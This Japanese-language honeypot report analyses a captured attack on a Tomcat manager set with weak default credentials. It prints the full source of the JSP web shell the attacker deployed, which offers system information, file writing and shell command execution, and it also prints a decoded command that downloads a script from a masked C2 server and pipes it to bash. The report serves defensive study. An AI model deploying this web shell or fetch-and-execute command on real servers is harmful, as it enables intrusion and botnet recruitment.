Tomcatの管理機能に対するパスワードクラック後の攻撃を観察する
Apache Tomcatにはデフォルトで管理機能を持つmanagerアプリが配備されており/manager/html
でアクセスできます。
認証方式にはBASIC認証を採用しています。
(なお、デフォルト設定ではローカルからのアクセスのみ許可する設定が入っています。)
ハニーポットには、この管理機能を狙ったBASIC認証のパスワードクラックのアクセスが高頻度で着弾します。
こういうときに「なら、本当にログインできたら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。
ということで、パスワードクラックされやすいID/パスワードを設定したTomcat環境を用意して観察しました。
環境
先日公開した高対話型ハニーポットのBW-Potを使用しました。
サーバはAmazon EC2を使用しています。
ID/Passwordには、設定値のサンプルとして使われているtomcat/s3cret
を設定しました。
パスワードクラックの件数推移
まず、パスワードクラックの成功と失敗の数を集計しました。
/manager/html
へのアクセスを条件に集計しています。
年月日 | 成功 | 失敗 |
---|---|---|
20190113 | 5 | 40 |
20190114 | 3 | 27 |
20190115 | 0 | 1 |
20190116 | 9 | 83 |
20190117 | 2 | 18 |
20190118 | 4 | 20 |
20190119 | 2 | 18 |
20190120 | 5 | 36 |
20190121 | 5 | 36 |
20190122 | 1 | 2 |
20190123 | 2 | 24 |
20190124 | 0 | 3 |
20190125 | 2 | 22 |
20190126 | 2 | 19 |
20190127 | 6 | 55 |
20190128 | 0 | 4 |
20190129 | 2 | 20 |
20190130 | 0 | 1 |
20190131 | 0 | 1 |
20190201 | 2 | 20 |
20190202 | 1 | 2 |
合計 | 53 | 482 |
成功率11%です。すごく優秀な数値ですね。
tomcat/s3cret
は絶対に使用してはいけないことがよくわかります。
攻撃の流れ
BASIC認証を突破し管理機能が使用されたログを確認したのは1/18でした。
その後、1/20、1/21、1/22、2/2にも同様の攻撃を確認しています。
1/18~1/22はハニーポットの設定がいまいちで最後まで追いきれなかったので、2/2の攻撃を紹介します。
1. 事前確認
まず、/admin-manager/admin.jsp
へPOSTリクエストがありました。
リクエストボディにはact=SI
がセットされていました。
このリクエストの正体は後述します。
2. BASIC認証の突破
次に、/manager/html
へBASIC認証の認証リクエストがありました。
ID/Passwordにtomcat/s3cret
がセットされていたため、認証に成功しています。
こちらのリクエストの前後ではID/Passwordを複数試すログは確認しておらず、一発で認証に成功しています。
この日以前のパスワードクラック攻撃にて、認証に成功するID/Passwordを特定済みだったものと推察されます。
3. WARファイルのアップロードとデプロイ
BASIC認証に成功後に表示されるTomcatの管理機能には、Webアプリケーションを固めたWARファイルをアップロードしてデプロイする機能があります。
その機能を利用してadmin-manager.war
というファイルをアップロードするリクエストがありました。
WARファイルの中身は、admin.jsp
というJSPファイルが1つあるだけです。
タイムスタンプが偽装されているかもしれませんが、ファイルの更新日時は2015年10月22日 3:33:43で、だいぶ古いです。
本当に古いのか、管理者による発見を抑止のために古いタイムスタンプを設定しているかは不明です。
JSPファイルのコードは以下の通りです。
<%@ page import="java.util.*,java.io.*,java.net.*" pageEncoding="UTF-8"%><%! class Base64Encrypt { String CODES = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; byte[] Base64Decode(String input) { byte decoded[] = new byte[((input.length()*3)/4) - (input.indexOf('=') > 0 ? (input.length() - input.indexOf('=')) : 0)]; char[] inChars = input.toCharArray(); int j = 0; int b[] = new int[4]; for (int i=0; i<inChars.length; i+=4) { b[0] = CODES.indexOf(inChars[i]); b[1] = CODES.indexOf(inChars[i+1]); b[2] = CODES.indexOf(inChars[i+2]); b[3] = CODES.indexOf(inChars[i+3]); decoded[j++] = (byte) ((b[0] << 2) | (b[1] >> 4)); if (b[2] < 64) { decoded[j++] = (byte) ((b[1] << 4) | (b[2] >> 2)); if (b[3] < 64) { decoded[j++] = (byte) ((b[2] << 6) | b[3]); } } } return decoded; } String Base64Encode(byte[] in) { StringBuilder out = new StringBuilder((in.length*4)/3); int b; for (int i=0; i<in.length; i+=3) { b = (in[i] & 0xFC) >> 2; out.append(CODES.charAt(b)); b = (in[i] & 0x03) << 4; if (i+1 < in.length) { b |= (in[i+1] & 0xF0) >> 4; out.append(CODES.charAt(b)); b = (in[i+1] & 0x0F) << 2; if (i+2 < in.length) { b |= (in[i+2] & 0xC0) >> 6; out.append(CODES.charAt(b)); b = in[i+2] & 0x3F; out.append(CODES.charAt(b)); } else { out.append(CODES.charAt(b)); out.append('='); } } else { out.append(CODES.charAt(b)); out.append("=="); } } return out.toString(); } } %><% String Action = request.getParameter("act"); String Parameter1 = request.getParameter("p1"); String Parameter2 = request.getParameter("p2"); //String CurrentDir = request.getRealPath("/"); //String CurrentDir = application.getRealPath("/"); String CurrentDir = request.getSession().getServletContext().getRealPath("/"); if (Action != null) { if (Action.equals("SI")) { // SysInfo String PcName = System.getenv("COMPUTERNAME"); if (PcName==null) PcName = System.getenv("HOSTNAME"); if (PcName==null) { try { PcName = InetAddress.getLocalHost().getHostName(); } catch (UnknownHostException e) { //e.printStackTrace(); } } if (PcName==null) { File f = new File("/etc/hostname"); if (f.exists()) { BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); PcName=br.readLine(); br.close(); } } String SysInfo = "Hello, Peppa!|" + System.getProperty("os.name") +" "+ System.getProperty("os.version") +" "+ System.getProperty("os.arch") +" + "+ PcName +":"+ System.getProperty("user.name") +" + "+ request.getRealPath(request.getServletPath())+"|"; out.print(SysInfo); } else if (Action.equals("UF")) { // UpFile if (Parameter1!=null && Parameter2!=null) { byte[] Binary = new Base64Encrypt().Base64Decode(Parameter2); FileOutputStream fos = new FileOutputStream(CurrentDir+Parameter1); if (fos != null) { fos.write(Binary); fos.close(); } } } else if (Action.equals("SH") && Parameter1!=null) { // Shell //response.setContentType("text/html"); out.println("<Pre>"); String Command = Parameter1; if (Parameter2!=null && Parameter2.equals("True")) { byte[] Binary = new Base64Encrypt().Base64Decode(Parameter1); Command = new String(Binary); } out.println(">"+Command); Command += " 2>&1"; try { boolean IsWin = true; String[] CmdLine = new String[]{"cmd.exe","/c",Command}; if (System.getProperty("file.separator").equals("/")) { IsWin = false; CmdLine = new String[]{"/bin/bash","-c",Command}; } File WorkDir = new File(CurrentDir); Process p = Runtime.getRuntime().exec(CmdLine, null, WorkDir); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String d = br.readLine(); while (d != null) { out.println(d); d = br.readLine(); } } catch (Exception e) { out.print("[-] Exception: "+e.toString()); } } } %>
このJSPには3つの機能があることがわかります。act
パラメータで機能を指定します。
①システム情報確認機能
act=SI
を指定すると動作する機能です。System Informationの略でしょうか。
OS情報、コンピュータ名、ユーザ名等の情報を返します。
②ファイル作成機能
act=UF
を指定すると動作する機能です。Upload Fileの略でしょうか。
BASE64エンコードした文字列を送信すると、デコードしてファイルに書き出します。
③コマンド実行機能
act=SH
を指定すると動作する機能です。Shellの略でしょうか。
任意のコマンドを実行します。WindowsかLinuxかを判別してcmd.exe
か/bin/bash
かを切り替えます。
BASE64エンコードしたコマンド文字列にも対応しています。
前述の1回目のリクエストは、このJSPが既に配備されていることの確認を目的としたものと推察されます。
4. システム情報確認
admin-manager.war
がデプロイされた後、/admin-manager/admin.jsp
へPOSTリクエストがありました。
リクエストボディにはact=SI
がセットされていました。
1回目のリクエストと同じです。
このリクエストに対しては以下のレスポンスを返却しました。
Hello, Peppa!|Linux 4.15.0-1032-aws amd64 + XXXXXXXXXXXX:root + /usr/local/tomcat/webapps/admin-manager/admin.jsp|
5. C2サーバとの通信および攻撃コード実行
システム情報確認後、/admin-manager/admin.jsp
へPOSTリクエストがありました。
リクエストボディには以下のデータがセットされていました。
act=SH&p2=True&p1=<BASE64エンコード文字列>
BASE64デコードすると以下のコマンドになります。
(wget -U "Mozilla/WGET" -q -O- http://XXX.XXX.XXX.XXX/Update/New/i.php || curl -A "Mozilla/CURL" -fsSL http://XXX.XXX.XXX.XXX/Update/New/i.php || python -c "from urllib2 import urlopen,Request;print(urlopen(Request('http://XXX.XXX.XXX.XXX/Update/New/i.php',None,{'User-Agent':'Mozilla/Python2'})).read());") | /bin/bash
※適当なところで改行を挟んでいます。IPアドレスはマスク化しています。
C2サーバから次の攻撃コード(シェルスクリプト想定)をダウンロードして実行しようとしています。 ダウンロードしてきた攻撃コードをそのまま/bin/bashに渡して実行することで、サーバ上にファイルを残さないようにしています。
このC2サーバの攻撃コードですが、C2サーバから404が返却されたため、実行は未遂に終わりました。
但し、配備され次第、攻撃コード実行によりDDOS攻撃等へ加担してしまう可能性が高く、いわゆるボットネットに組み込まれたと推察されます。
タイムライン
一連のリクエストのタイムラインは以下の通りです。
No | 日時 | イベント |
---|---|---|
1 | 2019-02-02 00:18:59 | /admin-manager/admin.jsp にact=SI でアクセス。未デプロイのため失敗。 |
2 | 2019-02-02 00:18:59 | /manager/html にアクセス。BASIC認証成功。 |
3 | 2019-02-02 00:19:00 | admin-manager をアップロード、デプロイ。成功。 |
4 | 2019-02-02 00:19:05 | /admin-manager/admin.jsp にact=SI でアクセス。成功。 |
5 | 2019-02-02 00:19:06 | /admin-manager/admin.jsp にact=SH でアクセス。コマンド実行は成功するがC2サーバから404を返却。 |
リクエストの時間を見ると、認証成功後の攻撃も完全に自動化していることがわかります。
まとめ
約1カ月ほどで観察できたTomcatを対象としたパスワードクラック後の攻撃パターンは、今回紹介した1パターンのみでした。
パスワードクラックの試行数および成功数と比べると意外に少ないと感じています。他は、研究者によるリサーチ目的か、攻撃者が一旦脆弱なサーバであることを把握した上で次のアクションのタイミングを別途狙っているのでしょうか。
ただ、ログイン可能なID/Passwordが特定されている状態では、自動で速やかに不正なアプリケーションをデプロイされ、ボットネットに組み込まれることがわかりました。
また、実は、/admin-manager/admin.jsp
の①システム情報確認機能が返却するHello, Peppa!
というキーワードと、C2サーバのhttp://XXX.XXX.XXX.XXX/Update/New/i.php
のURLは、前回の記事で紹介したPHPのWebShellと同じものでした。
つまり、"特定の攻撃者"が、異なる言語やプラットフォームに対してあの手この手でスキャンおよび攻撃を仕掛けてきており、最終的に実行させられる攻撃コードは同じ(C2サーバは同じ)であることがわかりました。
今後も継続して観察を続けます。